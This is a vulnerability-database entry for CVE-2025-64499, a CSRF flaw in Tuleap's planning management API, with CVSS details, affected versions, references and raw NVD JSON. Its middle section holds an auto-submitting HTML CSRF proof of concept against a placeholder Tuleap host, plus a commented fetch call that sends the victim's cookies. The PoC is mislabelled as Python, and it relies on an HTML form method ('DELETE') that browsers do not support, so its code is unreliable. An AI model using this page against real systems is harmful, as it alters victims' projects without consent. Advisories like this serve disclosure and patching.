CVE-2025-64499

Description

Tuleap is a free and open source suite for management of software development and collaboration. Tuleap Community Editon versions prior to 17.0.99.1762456922 and Tuleap Enterprise Edition versions prior to 17.0-2, 16.13-7 and 16.12-10 are vulnerable to CSRF attacks through planning management API. Attackers have access to create, edit or remove plans. This issue is fixed in Tuleap Community Edition version 17.0.99.1762456922 and Tuleap Enterprise Edtion versions 17.0-2, 16.13-7 and 16.12-10.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:* - VULNERABLE

cpe:2.3:a:enalean:tuleap:*:*:*:*:community:*:*:* - VULNERABLE

cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:* - VULNERABLE

Tuleap Community Edition < 17.0.99.1762456922

Tuleap Enterprise Edition < 17.0-2

Tuleap Enterprise Edition < 16.13-7

Tuleap Enterprise Edition < 16.12-10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-64499: Tuleap Planning Management API -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-64499</title>
</head>
<body>
    <h1>CSRF PoC - Create Malicious Plan</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Tuleap Planning Management API.</p>
    
    <!-- Auto-submit form to create a new plan -->
    <form id="csrfForm" action="https://target-tuleap.com/api/planning" method="POST" style="display:none;">
        <input type="hidden" name="name" value="Malicious Plan" />
        <input type="hidden" name="project_id" value="123" />
        <input type="hidden" name="backlog_title" value="Backlog" />
        <input type="hidden" name="plan_title" value="Sprint" />
    </form>
    
    <!-- Auto-submit form to delete an existing plan -->
    <form id="deleteForm" action="https://target-tuleap.com/api/planning/456" method="DELETE" style="display:none;">
    </form>
    
    <script>
        // Auto-submit for plan creation
        document.getElementById('csrfForm').submit();
        
        // Or use fetch API for more control
        /*
        fetch('https://target-tuleap.com/api/planning', {
            method: 'POST',
            credentials: 'include', // Include cookies for authenticated session
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                name: 'Malicious Plan',
                project_id: 123,
                backlog_title: 'Backlog',
                plan_title: 'Sprint'
            })
        });
        */
    </script>
    
    <p>Note: User must be authenticated to Tuleap for this attack to work.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64499
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64499
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64499/
[4] VulDB https://vuldb.com/cve/CVE-2025-64499
[5] https://github.com/Enalean/tuleap/commit/1734a7bb2964042310ddc3f6dd7b4c82eee27526
[6] https://github.com/Enalean/tuleap/security/advisories/GHSA-9h47-jg7r-ww7x
[7] https://tuleap.net/plugins/git/tuleap/tuleap/stable?a=commit&h=1734a7bb2964042310ddc3f6dd7b4c82eee27526
[8] https://tuleap.net/plugins/tracker/?aid=45592

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64499", "sourceIdentifier": "[email protected]", "published": "2025-12-08T23:15:48.330", "lastModified": "2025-12-10T21:03:51.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tuleap is a free and open source suite for management of software development and collaboration. Tuleap Community Editon versions prior to 17.0.99.1762456922 and Tuleap Enterprise Edition versions prior to 17.0-2, 16.13-7 and 16.12-10 are vulnerable to CSRF attacks through planning management API. Attackers have access to create, edit or remove plans. This issue is fixed in Tuleap Community Edition version 17.0.99.1762456922 and Tuleap Enterprise Edtion versions 17.0-2, 16.13-7 and 16.12-10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:*", "versionEndExcluding": "16.12-10", "matchCriteriaId": "286870BF-3315-4B78-AC67-97EB2D5F34ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:community:*:*:*", "versionEndExcluding": "17.0.99.1762456922", "matchCriteriaId": "8A6B5D51-B4FC-425D-AC04-211E1B0E8A50"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "16.13", "versionEndExcluding": "16.13-7", "matchCriteriaId": "CBD9092A-8E4A-43EF-B9B8-D8BDA9D30430"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "17.0-2", "matchCriteriaId": "F96A9306-179A-48BD-A2D9-CB081E9747B8"}]}]}], "references": [{"url": "https://github.com/Enalean/tuleap/commit/1734a7bb2964042310ddc3f6dd7b4c82eee27526", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Enalean/tuleap/security/advisories/GHSA-9h47-jg7r-ww7x", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://tuleap.net/plugins/git/tuleap/tuleap/stable?a=commit&h=1734a7bb2964042310ddc3f6dd7b4c82eee27526", "source": "[email protected]", "tags": ["Patch", "Broken Link"]}, {"url": "https://tuleap.net/plugins/tracker/?aid=45592", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}